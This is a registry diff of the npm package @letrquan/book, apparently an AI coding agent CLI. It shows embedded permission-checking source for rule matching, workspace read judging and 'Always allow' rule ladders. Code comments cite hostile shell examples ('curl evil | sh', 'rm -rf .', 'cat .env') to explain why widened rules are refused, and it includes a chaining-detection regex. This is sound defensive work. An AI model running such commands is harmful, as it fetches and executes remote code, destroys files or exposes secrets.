@letrquan/book 0.2.0 → 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (157) hide show
  1. package/CHANGELOG.md +2747 -40
  2. package/README.md +132 -1311
  3. package/dist/additional-roots-H7UNAEHS.js +31 -0
  4. package/dist/{app-MOXXWEOY.js → app-GE4OHJOC.js} +5740 -4045
  5. package/dist/app-GE4OHJOC.js.map +1 -0
  6. package/dist/{chunk-5GDZ22YP.js → chunk-224FJZLH.js} +99 -108
  7. package/dist/chunk-224FJZLH.js.map +1 -0
  8. package/dist/chunk-2AAOF5B5.js +28 -0
  9. package/dist/chunk-2AAOF5B5.js.map +1 -0
  10. package/dist/{chunk-CAGOB2N4.js → chunk-4AS7LKKQ.js} +6 -4
  11. package/dist/chunk-4AS7LKKQ.js.map +1 -0
  12. package/dist/chunk-525CAZPY.js +120 -0
  13. package/dist/chunk-525CAZPY.js.map +1 -0
  14. package/dist/{chunk-URLQAXTR.js → chunk-56SIEMDX.js} +2 -2
  15. package/dist/chunk-56SIEMDX.js.map +1 -0
  16. package/dist/{chunk-XIFFTATU.js → chunk-5YHTKWJN.js} +5420 -4031
  17. package/dist/chunk-5YHTKWJN.js.map +1 -0
  18. package/dist/chunk-62QL5QUP.js +283 -0
  19. package/dist/chunk-62QL5QUP.js.map +1 -0
  20. package/dist/{chunk-KWHQ2XXL.js → chunk-67UZEWWF.js} +3 -3
  21. package/dist/chunk-67UZEWWF.js.map +1 -0
  22. package/dist/chunk-6OQQOMZR.js +785 -0
  23. package/dist/chunk-6OQQOMZR.js.map +1 -0
  24. package/dist/{chunk-GTVB4HEM.js → chunk-AQEQX4FF.js} +344 -315
  25. package/dist/chunk-AQEQX4FF.js.map +1 -0
  26. package/dist/chunk-C7ADUNPR.js +273 -0
  27. package/dist/chunk-C7ADUNPR.js.map +1 -0
  28. package/dist/{chunk-E75IPST5.js → chunk-EFJ2NH6E.js} +12 -58
  29. package/dist/chunk-EFJ2NH6E.js.map +1 -0
  30. package/dist/{chunk-5KLVH3PY.js → chunk-HQI7NYGX.js} +5 -3
  31. package/dist/chunk-HQI7NYGX.js.map +1 -0
  32. package/dist/chunk-IME7R2UI.js +6541 -0
  33. package/dist/chunk-IME7R2UI.js.map +1 -0
  34. package/dist/chunk-J4F2QLM2.js +273 -0
  35. package/dist/chunk-J4F2QLM2.js.map +1 -0
  36. package/dist/{chunk-MAQXCUR4.js → chunk-J62VZYOB.js} +444 -112
  37. package/dist/chunk-J62VZYOB.js.map +1 -0
  38. package/dist/chunk-JTPOI3KU.js +826 -0
  39. package/dist/chunk-JTPOI3KU.js.map +1 -0
  40. package/dist/{chunk-WKBO5R4O.js → chunk-KBQS35OV.js} +2 -2
  41. package/dist/chunk-KBQS35OV.js.map +1 -0
  42. package/dist/chunk-KXAYUIKP.js +90 -0
  43. package/dist/chunk-KXAYUIKP.js.map +1 -0
  44. package/dist/{chunk-VZQXX3WW.js → chunk-QYBD22H5.js} +1 -1
  45. package/dist/chunk-QYBD22H5.js.map +1 -0
  46. package/dist/{chunk-V4BOYR52.js → chunk-RFJ6Q6LE.js} +763 -198
  47. package/dist/chunk-RFJ6Q6LE.js.map +1 -0
  48. package/dist/{chunk-7N4J557C.js → chunk-RT5SATF7.js} +1 -1
  49. package/dist/chunk-RT5SATF7.js.map +1 -0
  50. package/dist/{chunk-C7D4NJ2D.js → chunk-S4JMID4G.js} +68 -26
  51. package/dist/chunk-S4JMID4G.js.map +1 -0
  52. package/dist/{chunk-ANSJPYGI.js → chunk-SOW4WRQP.js} +3 -3
  53. package/dist/chunk-SOW4WRQP.js.map +1 -0
  54. package/dist/{chunk-J7MIZ5CA.js → chunk-TLX3H2CL.js} +518 -79
  55. package/dist/chunk-TLX3H2CL.js.map +1 -0
  56. package/dist/{chunk-DGMQEI6Y.js → chunk-VPNLCMVR.js} +22 -9
  57. package/dist/chunk-VPNLCMVR.js.map +1 -0
  58. package/dist/{chunk-BTZZUCLI.js → chunk-W3XFHEF4.js} +173 -29
  59. package/dist/chunk-W3XFHEF4.js.map +1 -0
  60. package/dist/{chunk-574C6MQR.js → chunk-X4NJT436.js} +130 -60
  61. package/dist/chunk-X4NJT436.js.map +1 -0
  62. package/dist/chunk-X66I2NQO.js +137 -0
  63. package/dist/chunk-X66I2NQO.js.map +1 -0
  64. package/dist/chunk-XHAO3K7I.js +18 -0
  65. package/dist/chunk-XHAO3K7I.js.map +1 -0
  66. package/dist/{chunk-3U5IBM24.js → chunk-Y2VHN7TC.js} +2 -2
  67. package/dist/chunk-Y2VHN7TC.js.map +1 -0
  68. package/dist/chunk-YC6W4EJH.js +947 -0
  69. package/dist/chunk-YC6W4EJH.js.map +1 -0
  70. package/dist/{chunk-24AXE6SP.js → chunk-ZPSZZUWF.js} +1 -1
  71. package/dist/chunk-ZPSZZUWF.js.map +1 -0
  72. package/dist/{command-approvals-6Y57VCWZ.js → command-approvals-VBIU6BLM.js} +6 -5
  73. package/dist/context-CBOBDY5Q.js +38 -0
  74. package/dist/{hook-approvals-CTUFKEJT.js → hook-approvals-ZVT4V7IM.js} +5 -5
  75. package/dist/index.js +996 -155
  76. package/dist/index.js.map +1 -1
  77. package/dist/{interactive-assets-CCAAWVKH.js → interactive-assets-T4I4SEHU.js} +13 -9
  78. package/dist/interactive-assets-T4I4SEHU.js.map +1 -0
  79. package/dist/job-runner.js +159 -111
  80. package/dist/job-runner.js.map +1 -1
  81. package/dist/job-supervisor.d.ts +2 -0
  82. package/dist/job-supervisor.js +112 -0
  83. package/dist/job-supervisor.js.map +1 -0
  84. package/dist/loader-S77OVTHH.js +18 -0
  85. package/dist/{mcp-approvals-WNPH65BK.js → mcp-approvals-HJ2VDYMC.js} +5 -5
  86. package/dist/{mcp-config-YIJIES2C.js → mcp-config-RNB5LEVE.js} +3 -3
  87. package/dist/memory-store-DZUT5HUH.js +75 -0
  88. package/dist/{model-window-store-YFVNXCIP.js → model-window-store-MTSQ5JDJ.js} +8 -4
  89. package/dist/openai-compatible-2OB54YST.js +14 -0
  90. package/dist/{permission-approvals-76PVREFD.js → permission-approvals-YLV6UC5W.js} +5 -5
  91. package/dist/permissions-DHOKF3W2.js +45 -0
  92. package/dist/sandbox-WRYTZH3D.js +41 -0
  93. package/dist/{scrollback-LUKLIBVI.js → scrollback-35ME2GFX.js} +32 -22
  94. package/dist/scrollback-35ME2GFX.js.map +1 -0
  95. package/dist/sdk.d.ts +2219 -2361
  96. package/dist/sdk.js +53 -38
  97. package/dist/sdk.js.map +1 -1
  98. package/dist/settings-loader-JUNPGAAM.js +35 -0
  99. package/dist/settings-loader-JUNPGAAM.js.map +1 -0
  100. package/dist/{shell-selection-V6QAYXPX.js → shell-selection-CDHGJ4GC.js} +2 -2
  101. package/dist/shell-selection-CDHGJ4GC.js.map +1 -0
  102. package/package.json +23 -22
  103. package/dist/app-MOXXWEOY.js.map +0 -1
  104. package/dist/chunk-24AXE6SP.js.map +0 -1
  105. package/dist/chunk-3U5IBM24.js.map +0 -1
  106. package/dist/chunk-574C6MQR.js.map +0 -1
  107. package/dist/chunk-5GDZ22YP.js.map +0 -1
  108. package/dist/chunk-5KLVH3PY.js.map +0 -1
  109. package/dist/chunk-7N4J557C.js.map +0 -1
  110. package/dist/chunk-A7JLBK2Y.js +0 -3506
  111. package/dist/chunk-A7JLBK2Y.js.map +0 -1
  112. package/dist/chunk-ANSJPYGI.js.map +0 -1
  113. package/dist/chunk-BTZZUCLI.js.map +0 -1
  114. package/dist/chunk-C7D4NJ2D.js.map +0 -1
  115. package/dist/chunk-CAGOB2N4.js.map +0 -1
  116. package/dist/chunk-DGMQEI6Y.js.map +0 -1
  117. package/dist/chunk-E75IPST5.js.map +0 -1
  118. package/dist/chunk-EYGD6X2T.js +0 -180
  119. package/dist/chunk-EYGD6X2T.js.map +0 -1
  120. package/dist/chunk-GTVB4HEM.js.map +0 -1
  121. package/dist/chunk-J7MIZ5CA.js.map +0 -1
  122. package/dist/chunk-KWHQ2XXL.js.map +0 -1
  123. package/dist/chunk-L6LK2QIQ.js +0 -657
  124. package/dist/chunk-L6LK2QIQ.js.map +0 -1
  125. package/dist/chunk-MAQXCUR4.js.map +0 -1
  126. package/dist/chunk-S4XL7HOM.js +0 -402
  127. package/dist/chunk-S4XL7HOM.js.map +0 -1
  128. package/dist/chunk-URLQAXTR.js.map +0 -1
  129. package/dist/chunk-V4BOYR52.js.map +0 -1
  130. package/dist/chunk-VZQXX3WW.js.map +0 -1
  131. package/dist/chunk-WKBO5R4O.js.map +0 -1
  132. package/dist/chunk-XIFFTATU.js.map +0 -1
  133. package/dist/context-ZC5IFEAX.js +0 -25
  134. package/dist/interactive-assets-CCAAWVKH.js.map +0 -1
  135. package/dist/loader-4IDS2RIE.js +0 -15
  136. package/dist/openai-compatible-RHZUBHV6.js +0 -10
  137. package/dist/permissions-CHCKTFQQ.js +0 -28
  138. package/dist/sandbox-CNVAQDA7.js +0 -23
  139. package/dist/scrollback-LUKLIBVI.js.map +0 -1
  140. package/dist/settings-loader-M2QP5TX2.js +0 -21
  141. package/patches/ink+6.8.0.patch +0 -13
  142. package/scripts/apply-ink-patch.mjs +0 -29
  143. package/scripts/ink-patch.mjs +0 -59
  144. package/scripts/verify-ink-patch.mjs +0 -11
  145. /package/dist/{command-approvals-6Y57VCWZ.js.map → additional-roots-H7UNAEHS.js.map} +0 -0
  146. /package/dist/{context-ZC5IFEAX.js.map → command-approvals-VBIU6BLM.js.map} +0 -0
  147. /package/dist/{hook-approvals-CTUFKEJT.js.map → context-CBOBDY5Q.js.map} +0 -0
  148. /package/dist/{loader-4IDS2RIE.js.map → hook-approvals-ZVT4V7IM.js.map} +0 -0
  149. /package/dist/{mcp-approvals-WNPH65BK.js.map → loader-S77OVTHH.js.map} +0 -0
  150. /package/dist/{mcp-config-YIJIES2C.js.map → mcp-approvals-HJ2VDYMC.js.map} +0 -0
  151. /package/dist/{model-window-store-YFVNXCIP.js.map → mcp-config-RNB5LEVE.js.map} +0 -0
  152. /package/dist/{openai-compatible-RHZUBHV6.js.map → memory-store-DZUT5HUH.js.map} +0 -0
  153. /package/dist/{permission-approvals-76PVREFD.js.map → model-window-store-MTSQ5JDJ.js.map} +0 -0
  154. /package/dist/{permissions-CHCKTFQQ.js.map → openai-compatible-2OB54YST.js.map} +0 -0
  155. /package/dist/{sandbox-CNVAQDA7.js.map → permission-approvals-YLV6UC5W.js.map} +0 -0
  156. /package/dist/{settings-loader-M2QP5TX2.js.map → permissions-DHOKF3W2.js.map} +0 -0
  157. /package/dist/{shell-selection-V6QAYXPX.js.map → sandbox-WRYTZH3D.js.map} +0 -0
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/permissions.ts","../src/async.ts","../src/tools/diff.ts","../src/tools/file-provenance.ts","../src/tools/mutation.ts","../src/tools/patch.ts"],"sourcesContent":["import { realpathSync } from 'fs';\nimport { isAbsolute, relative, sep } from 'path';\nimport type { ResolvedSettings } from './settings.js';\nimport type {\n PermissionDecision,\n PermissionResult,\n ReadOnlyRoot,\n ToolCall,\n} from './types/tools.js';\nimport { canonicalToolName } from './tools/aliases.js';\nimport { getPrimaryArg } from './tools/primary-arg.js';\nimport { globToRegex, globWalkPlan } from './tools/glob-regex.js';\nimport { parsePatch, type PatchOperation } from './tools/patch.js';\nimport {\n canonicalizePath,\n isBookLocalSettingsPath,\n isUnderRoot,\n resolveReadablePathDetail,\n resolveWorkspacePath,\n type PathRoots,\n type ReadablePathDetail,\n} from './tools/path-utils.js';\nimport { containsPath, pathHoldsHome, rootHoldsHome } from './additional-roots.js';\nimport { sandboxCoverage } from './sandbox.js';\n\n/**\n * Parse a permission rule string like \"Bash(git *)\" or \"Read(./.env)\" into\n * { toolName, pattern }. The pattern is a glob matched against the tool's\n * primary argument. A bare \"Tool\" (no parens) means match any argument.\n * Empty parens \"Tool()\" also means match any argument.\n */\nexport interface ParsedRule {\n toolName: string;\n /** Glob pattern for the primary argument, or null for match-all. */\n pattern: string | null;\n}\n\nexport interface PermissionVerdict {\n decision: 'allow' | 'deny' | 'ask' | 'refuse';\n matchedRule?: string;\n source?: 'allow' | 'deny' | 'ask' | 'default' | 'sandbox' | 'workspace';\n /**\n * Set on a Read, Glob or Grep whose target the tool itself refuses (outside the workspace and\n * every honored root): no approval can make it work, so the loop blocks it instead of prompting.\n * Only set where reads are judged.\n */\n outsideWorkspace?: boolean;\n /**\n * Set instead, on a target a root *serves* but whose subpath the tools exclude. A different\n * reason and a different remedy from {@link outsideWorkspace}: the directory is reachable and\n * this path under it is not, so naming a directory to add would be a dead end.\n */\n excludedPath?: boolean;\n /**\n * Set instead, on a Glob whose pattern the matcher cannot read at all (too long, or nested groups\n * deeper than the matcher compiles). Not a place: the walk would not have started, so there is no\n * directory to serve or to add, and the refusal carries the matcher's own reason.\n */\n unreadablePattern?: string;\n}\n\n/** Whether a read target is a pattern the matcher cannot read, with the reason it gave. */\nfunction isUnreadablePattern(\n target: ReadToolTarget | undefined,\n): target is { target: 'invalid'; reason: string } {\n return typeof target === 'object' && target !== null && target.target === 'invalid';\n}\n\n/** The workspace a call's path arguments are judged against (#264). */\nexport interface WorkspaceScope {\n /** The workspace root, as the file tools resolve paths against it. */\n root: string;\n /** The root after following links, when the caller has resolved it once; resolved here if not. */\n realRoot?: string;\n /**\n * Directories outside the workspace that the Read tool may open (Book's memory directory),\n * exactly as `ToolContext.readOnlyRoots`, so a Read is judged by the rule the tool applies.\n */\n readOnlyRoots?: readonly (string | ReadOnlyRoot)[];\n /**\n * Honored `additionalDirectories`, as the resolved real roots the file tools resolve against\n * (`ToolContext.additionalRoots`). Read+write: a read is auto-allowed exactly as a workspace\n * read is, and a write goes through the ordinary permission flow for its mode.\n */\n additionalRoots?: readonly string[];\n /**\n * The real paths of the home directories under which a read keeps asking, resolved once per run\n * (`homeGuards()`). A read outside every root is refused; a read inside one of these is served,\n * but only through a root that *holds* that home, and only when the path lands inside it.\n *\n * Keyed on the root that serves the resolved target, so a home held as a subdirectory of an\n * honored root is covered: a home holds SSH and provider keys and Book's own trust store, and the\n * one thing `additionalDirectories` widens is exactly which paths a read may reach without asking.\n * A root that merely sits *below* the home — which is nearly every workspace — is not guarded by\n * it; that is `workspaceHoldsHome`, and it asks for everything either way.\n */\n homeGuards?: readonly string[];\n /**\n * Whether to judge what a Read, Glob or Grep reaches at all: true in the modes that prompt for\n * them (`WORKSPACE_READ_JUDGING_MODES`), so a refusal can say when no approval could help.\n */\n judgeReads: boolean;\n /**\n * Whether to judge what a Read, Glob or Grep reaches purely to refuse a target no root serves,\n * whatever the mode does with a target it *can* serve (`WORKSPACE_READ_REFUSAL_MODES`).\n *\n * Wider than {@link judgeReads} by `dontAsk`, and deliberately so. That mode refuses every call\n * that would need approval, so the refusal happens either way; what changes is what it says.\n * Judged as `permission_denied` it told the model to ask for a rule, and the `all_tools_blocked`\n * stop message for a streak of them advises an allow rule that can never make `Read` serve a\n * path outside every root. Judged as a target, it is refused the way the other modes refuse it,\n * with the directory that would serve it. Only the *kind* of refusal moves: a workspace read\n * with no allow rule is still refused in `dontAsk`, because `autoAllowReads` is off there and\n * the owner decided that is the right answer.\n */\n refuseUnreachableReads: boolean;\n /**\n * Whether a target the tool can serve runs without a prompt. Takes effect only with\n * `judgeReads`; false for a workspace that holds a home directory.\n */\n autoAllowReads: boolean;\n}\n\n/**\n * Seams for permission evaluation. `sandboxBackendAvailable` exists so tests can\n * exercise the missing-bwrap branch on a host that has bwrap installed; nothing\n * in production passes it. `workspace` is the scope a call's paths are judged in.\n */\nexport interface PermissionEvaluationOptions {\n sandboxBackendAvailable?: () => boolean;\n workspace?: WorkspaceScope;\n}\n\n/** Read-only file tools whose targets inside the workspace need no prompt (#264). */\n/**\n * The tools that read the filesystem, and so are judged by the read rules. Narrower than\n * `READ_ONLY_PLAN_TOOLS` in `plan-mode.ts`, which also holds the plan-control and session tools:\n * those return `ask` for reasons unrelated to what they would read, and a loop that treated any\n * of them as a guarded read would prompt for `ExitPlanMode` (PR #334 finding 5).\n */\nexport const WORKSPACE_READ_TOOLS: ReadonlySet<string> = new Set(['Read', 'Glob', 'Grep']);\n\n/** Tools whose rules name one file path, so a rule must match the file however it is spelled. */\nconst PATH_RULE_TOOLS: ReadonlySet<string> = new Set([\n 'Read',\n 'Write',\n 'Edit',\n 'MultiEdit',\n 'NotebookEdit',\n]);\n\n/**\n * Permission modes in which a Read, Glob or Grep target is judged at all, so a target the tool\n * cannot serve is refused instead of prompted for (#264, then #305 item 3).\n *\n * `plan` joined the set when it started judging reads the way `default` does: a plan is written\n * by reading, and an outside target cannot be read in a plan either. `auto` and\n * `bypassPermissions` ask about nothing, so there is nothing there to refuse early.\n */\nexport const WORKSPACE_READ_JUDGING_MODES: ReadonlySet<string> = new Set([\n 'default',\n 'accept-edits',\n 'plan',\n]);\n\n/**\n * Modes in which a Read, Glob or Grep target no root serves — or one a root excludes — is refused\n * rather than decided as a permission (#264, then #305 item 3, then PR #334).\n *\n * Every mode in {@link WORKSPACE_READ_JUDGING_MODES}, and `dontAsk` beside it. `dontAsk` prompts\n * for nothing, so there is no prompt to raise for an unservable target, but the call is refused\n * all the same — and refused as `permission_denied` it was told to ask for a permission, which no\n * rule or mode can grant for a path outside every root. Refusing it as the target it is gives the\n * same `path_outside_workspace` message, and the same remedy, the other modes give (#305 item 3).\n *\n * `auto` and `bypassPermissions` ask about nothing and reach every call, so there is nothing to\n * refuse early: the file tools answer for themselves, as they always did.\n */\nexport const WORKSPACE_READ_REFUSAL_MODES: ReadonlySet<string> = new Set([\n ...WORKSPACE_READ_JUDGING_MODES,\n 'dontAsk',\n]);\n\n/**\n * Read-only Git tools that report on the repository without changing it. They run in the\n * workspace root, read no path the user names, and execute nothing the repository's own git\n * config can redirect (see `runGit`), so they need no prompt in the modes that judge calls.\n *\n * Exported so the argument review in `tools/git.ts` can be asserted against this list rather\n * than kept in step by hand: a tool added here and not there would be auto-allowed without\n * anyone having read what it runs.\n */\nexport const WORKSPACE_READ_ONLY_GIT_TOOLS: ReadonlySet<string> = new Set([\n 'GitStatus',\n 'GitDiff',\n 'GitLog',\n 'GitBranch',\n]);\n\nexport function parseRule(rule: string): ParsedRule {\n const parenIdx = rule.indexOf('(');\n if (parenIdx === -1) {\n return { toolName: rule.trim(), pattern: null };\n }\n const toolName = rule.slice(0, parenIdx).trim();\n const closeIdx = rule.lastIndexOf(')');\n if (closeIdx === -1 || closeIdx <= parenIdx) {\n // Malformed — treat as bare tool name.\n return { toolName, pattern: null };\n }\n const pattern = rule.slice(parenIdx + 1, closeIdx).trim();\n return { toolName, pattern: pattern.length === 0 ? null : pattern };\n}\n\n/**\n * Normalize a path-like string for matching: strip leading `./` so that\n * `./.env` and `.env` are equivalent. Non-path args (commands, queries)\n * pass through unchanged.\n */\nfunction normalizePathArg(s: string): string {\n if (s.startsWith('./')) return s.slice(2);\n return s;\n}\n\n/**\n * Check whether a parsed rule matches a tool call. Both the rule pattern\n * and the primary argument are path-normalized (leading `./` stripped) for\n * Read/Write/Edit-style tools so `Read(./.env)` matches a call with\n * `filePath: \".env\"`.\n */\nfunction toolNameMatchesRule(ruleToolName: string, toolName: string): boolean {\n if (ruleToolName === toolName) return true;\n if (!ruleToolName.startsWith('mcp__')) return false;\n const serverName = ruleToolName.slice('mcp__'.length);\n // A bare MCP server namespace (mcp__github) intentionally covers every\n // tool from that server. A full tool rule remains exact.\n return Boolean(\n serverName && !serverName.includes('__') && toolName.startsWith(`${ruleToolName}__`),\n );\n}\n\n/**\n * Fold case for a `deny` or `ask` path rule, on every platform (#305 item 1).\n *\n * On WSL's `/mnt/c` and any other case-insensitive mount, `Read .ENV` opens the same file a\n * `deny: [\"Read(.env)\"]` was written to stop, so a case-sensitive comparison lets the rule be\n * walked straight past. Folding on a case-sensitive file system only makes these two lists\n * stricter, which is the direction they can afford to move: they restrict. `allow` keeps exact\n * matching, because folding there would widen what a rule permits.\n */\nconst caseFoldingPathRule = (value: string): string => value.toLowerCase();\n\n/**\n * Match a parsed rule against a tool name and the argument spellings to test.\n *\n * `fold` is set for the restricting lists (`deny`, `ask`) on a path-rule tool, where the pattern\n * and every candidate are compared case-insensitively; see {@link caseFoldingPathRule}.\n */\nfunction ruleMatchesCandidate(\n rule: ParsedRule,\n toolName: string,\n primaryArg: string,\n fold: boolean,\n): boolean {\n if (!toolNameMatchesRule(rule.toolName, toolName)) return false;\n if (rule.pattern === null) return true; // match-all\n const normalizedArg = normalizePathArg(primaryArg);\n const normalizedPattern = rule.pattern.startsWith('./') ? rule.pattern.slice(2) : rule.pattern;\n if (!fold) return globToRegex(normalizedPattern).test(normalizedArg);\n return globToRegex(caseFoldingPathRule(normalizedPattern)).test(\n caseFoldingPathRule(normalizedArg),\n );\n}\n\nfunction ruleMatches(rule: ParsedRule, toolName: string, primaryArg: string): boolean {\n return ruleMatchesCandidate(rule, toolName, primaryArg, false);\n}\n\n/**\n * The rule that remembers exactly this call, or `undefined` when the call has no\n * primary argument to scope one to.\n *\n * A bare tool name means \"every call of this tool\", so a call whose primary argument\n * is empty must not produce one: `{command: \"\"}` and `{command: \"\\nrm -rf x\"}` both\n * pass the schema, `getPrimaryArg` reads nothing out of either, and an \"Always\" on\n * them would have written a `Bash` rule allowing every shell command from then on.\n * The call is still allowed; nothing is remembered.\n */\nexport function permissionRuleForToolCall(call: ToolCall): string | undefined {\n const toolName = canonicalToolName(call.name);\n const primaryArg = getPrimaryArg(call.arguments);\n if (toolName === 'WebSearch') return toolName;\n if (toolName === 'WebFetch' && primaryArg) {\n try {\n const url = new URL(primaryArg);\n return `${toolName}(${url.origin}/**)`;\n } catch {\n // An invalid URL must not widen into a tool-wide permission.\n }\n }\n if (!primaryArg) return undefined;\n return `${toolName}(${primaryArg})`;\n}\n\n/**\n * Read an approver's answer, which may be a bare result or one naming a rule.\n *\n * Approvers that cannot widen a scope — the print-mode prompt, managed agents —\n * keep returning the string, so only the surface that offers the choice has to\n * know the richer shape exists.\n */\nexport function permissionResultOf(decision: PermissionResult | PermissionDecision) {\n return typeof decision === 'string' ? decision : decision.result;\n}\n\n/** The rule an approver picked, or `undefined` to derive it from the call. */\nexport function permissionRuleOf(\n decision: PermissionResult | PermissionDecision,\n): string | undefined {\n return typeof decision === 'string' ? undefined : decision.rule;\n}\n\n/** Why an approver refused, when it says; see `PermissionDecision.reason`. */\nexport function permissionReasonOf(\n decision: PermissionResult | PermissionDecision,\n): PermissionDecision['reason'] {\n return typeof decision === 'string' ? undefined : decision.reason;\n}\n\n/** How many rules the \"Always allow\" scope ladder may offer, exact included. */\nconst RULE_LADDER_MAX = 3;\n\n/**\n * Shell characters that chain or redirect one command into another.\n *\n * A widened rule is a glob over the whole command string and `*` crosses\n * anything, so `Bash(npm *)` would also match `npm x && curl evil | sh`. Book\n * cannot express \"and nothing else\" in its glob language, so it declines to\n * offer a widened rule when the command it learned from is already a compound\n * one: the user would be generalizing from an example whose shape they cannot\n * see repeated.\n */\nconst SHELL_CHAINING = /[;&|><`$(){}\\n]/;\n\n/**\n * Rules the \"Always allow\" button may write, narrowest first.\n *\n * The exact rule is always first and is what the button offers by default. For\n * a shell command it is also nearly useless: `Bash(npm run check)` matches that\n * byte sequence and nothing else, so a user who pressed \"Always allow\" to stop\n * being asked was asked again on the very next call. The remaining entries drop\n * one trailing token at a time — `npm run check` offers `npm run *` then\n * `npm *` — and the caller must show the pattern it is about to write, because\n * the difference between these is the whole decision.\n *\n * Only Bash gets a ladder. Paths are already reusable as written, and WebFetch\n * globs its own origin in {@link permissionRuleForToolCall}. The list is empty\n * when the call has no primary argument to scope a rule to, and a caller reads\n * that as \"remember nothing\".\n */\nexport function permissionRuleLadder(call: ToolCall): string[] {\n const exact = permissionRuleForToolCall(call);\n if (!exact) return [];\n if (canonicalToolName(call.name) !== 'Bash') return [exact];\n\n const command = getPrimaryArg(call.arguments).trim();\n if (!command || SHELL_CHAINING.test(command)) return [exact];\n\n const tokens = command.split(/\\s+/);\n const ladder = [exact];\n for (let take = tokens.length - 1; take >= 1 && ladder.length < RULE_LADDER_MAX; take -= 1) {\n const prefix = `Bash(${tokens.slice(0, take).join(' ')} *)`;\n if (!ladder.includes(prefix)) ladder.push(prefix);\n }\n return ladder;\n}\n\nexport function permissionRuleMatchesCall(rule: string, call: ToolCall): boolean {\n const toolName = canonicalToolName(call.name);\n const primaryArg = getPrimaryArg(call.arguments);\n if (toolName === 'WebFetch' && primaryArg) {\n try {\n // URL.toString() gives origin roots a trailing slash, matching the remembered origin glob.\n return ruleMatches(parseRule(rule), toolName, new URL(primaryArg).toString());\n } catch {\n // Invalid URLs retain the normal raw-argument matching behavior.\n }\n }\n return ruleMatches(parseRule(rule), toolName, primaryArg);\n}\n\nfunction patchOperations(args: Record<string, unknown>): PatchOperation[] {\n const parsed = parsePatch(args.patch);\n return 'operations' in parsed ? parsed.operations : [];\n}\n\nfunction ruleMatchesPatch(rule: ParsedRule, paths: readonly string[], fold: boolean): boolean {\n return paths.some((path) => ruleMatchesCandidate(rule, rule.toolName, path, fold));\n}\n\nfunction patchRuleSupportsOperation(rule: ParsedRule, operation: PatchOperation): boolean {\n if (rule.toolName === 'ApplyPatch') return true;\n if (rule.toolName === 'Edit') return operation.kind === 'update';\n if (rule.toolName === 'Write') return operation.kind === 'update' || operation.kind === 'add';\n return false;\n}\n\nfunction compatiblePatchRuleMatches(\n rule: ParsedRule,\n operations: PatchOperation[],\n spellingsOf: (path: string, restrictive: boolean) => readonly string[],\n fold: boolean,\n): boolean {\n if (!['ApplyPatch', 'Edit', 'Write'].includes(rule.toolName)) return false;\n if (rule.toolName === 'ApplyPatch' && rule.pattern === null) return true;\n return operations.some(\n (operation) =>\n patchRuleSupportsOperation(rule, operation) &&\n (rule.pattern === null || ruleMatchesPatch(rule, spellingsOf(operation.path, fold), fold)),\n );\n}\n\n/**\n * Extract the primary argument from a tool call for rule matching.\n * Delegates to the shared getPrimaryArg utility.\n */\nexport function primaryArgForRule(_toolName: string, args: Record<string, unknown>): string {\n return getPrimaryArg(args);\n}\n\n/**\n * Has the user asked to be consulted about anything at all?\n *\n * A shell command line is not a primary argument the way a file path is: one\n * line can read a file, write a file, reach the network, and chain three more\n * commands behind `&&`. A `deny` or `ask` glob therefore only ever matches the\n * shapes the user thought to write down — `deny: [\"Bash(rm *)\"]` does not match\n * `true && rm -rf .` — and it is the *default ask* underneath that catches\n * everything the glob missed, including the same action performed through a\n * different tool (`cat .env` against a `Read` deny, `curl` against a `WebFetch`\n * deny).\n *\n * So the presence of any hand-written deny/ask rule is treated as the user\n * saying \"adjudicate my shell commands\", and the default ask stays. Removing it\n * would turn every such rule from a floor into a list of exact strings to avoid.\n */\nexport function hasAdjudicationPolicy(settings: ResolvedSettings): boolean {\n return settings.permissions.deny.length > 0 || settings.permissions.ask.length > 0;\n}\n\n/**\n * Would `sandbox.autoAllowBashIfSandboxed` allow this call without a prompt?\n *\n * True only for a Bash call whose exact command text genuinely executes inside\n * a bubblewrap namespace. The command is read straight off `args.command` and\n * trimmed — byte-for-byte what `buildEffectiveCommand` in tools/shell.ts\n * matches against `excludedCommands` — rather than through `getPrimaryArg`,\n * which truncates to the first line. Judging a different string here than the\n * Bash tool judges is how \"sandboxed, so auto-allow\" and \"excluded, so run it\n * on the host\" end up applying to the same call.\n *\n * It is also true only when the user wrote no deny/ask rules at all\n * ({@link hasAdjudicationPolicy}). The bubblewrap namespace binds the workspace\n * read-write and shares the host network unless a domain policy is declared, so\n * \"sandboxed\" bounds the blast radius to the workspace — it does not make the\n * command harmless, and it is not a substitute for a prompt the user asked for.\n */\nfunction sandboxAutoAllows(\n toolName: string,\n args: Record<string, unknown>,\n settings: ResolvedSettings,\n options: PermissionEvaluationOptions,\n): boolean {\n if (!settings.sandbox.autoAllowBashIfSandboxed) return false;\n if (canonicalToolName(toolName) !== 'Bash') return false;\n if (hasAdjudicationPolicy(settings)) return false;\n const command = typeof args.command === 'string' ? args.command.trim() : '';\n if (!command) return false;\n return sandboxCoverage(command, settings.sandbox, options.sandboxBackendAvailable).sandboxed;\n}\n\nconst toPosix = (value: string) => value.replace(/\\\\/g, '/');\n\n/** The workspace root after following links, or `undefined` if it cannot be resolved. */\nfunction realRootOf(scope: WorkspaceScope): string | undefined {\n if (scope.realRoot) return scope.realRoot;\n try {\n return realpathSync.native(scope.root);\n } catch {\n return undefined;\n }\n}\n\n/** The file path a path-rule tool acts on. The loop normalizes argument aliases beforehand. */\nfunction pathArgument(toolName: string, args: Record<string, unknown>): string | undefined {\n const value = toolName === 'NotebookEdit' ? args.notebook_path : args.filePath;\n return typeof value === 'string' && value.trim() !== '' ? value : undefined;\n}\n\n/**\n * Does any rule name this tool? Only then is a call's path worth resolving to its other\n * spellings: resolving touches the file system, and most calls meet no rule at all.\n */\nfunction rulesName(lists: ParsedRuleLists, toolName: string): boolean {\n return [...lists.deny, ...lists.ask, ...lists.allow].some(\n ({ parsed }) => parsed.toolName === toolName,\n );\n}\n\n/**\n * A call's path arguments, resolved at most once each for one evaluation.\n *\n * A Read used to be resolved up to three times per call: once for the rule spellings, once for\n * `readToolTarget`, and once more by the tool itself, each of which walks to the nearest existing\n * ancestor and resolves links. Resolving is the most expensive thing a permission check does and\n * the three answers were required to agree — two of them resolved a moment apart, so a link\n * repointed in between judged one call two different ways. Here the results are computed once\n * and shared; nothing is cached across evaluations, so a path that changes between turns is\n * re-resolved the next turn.\n */\ninterface ResolvedPathScope {\n scope: WorkspaceScope;\n /** Roots a read may use, in the order the file tools try them. */\n roots(includeReadOnly: boolean): PathRoots;\n /** Where a path lands, resolved 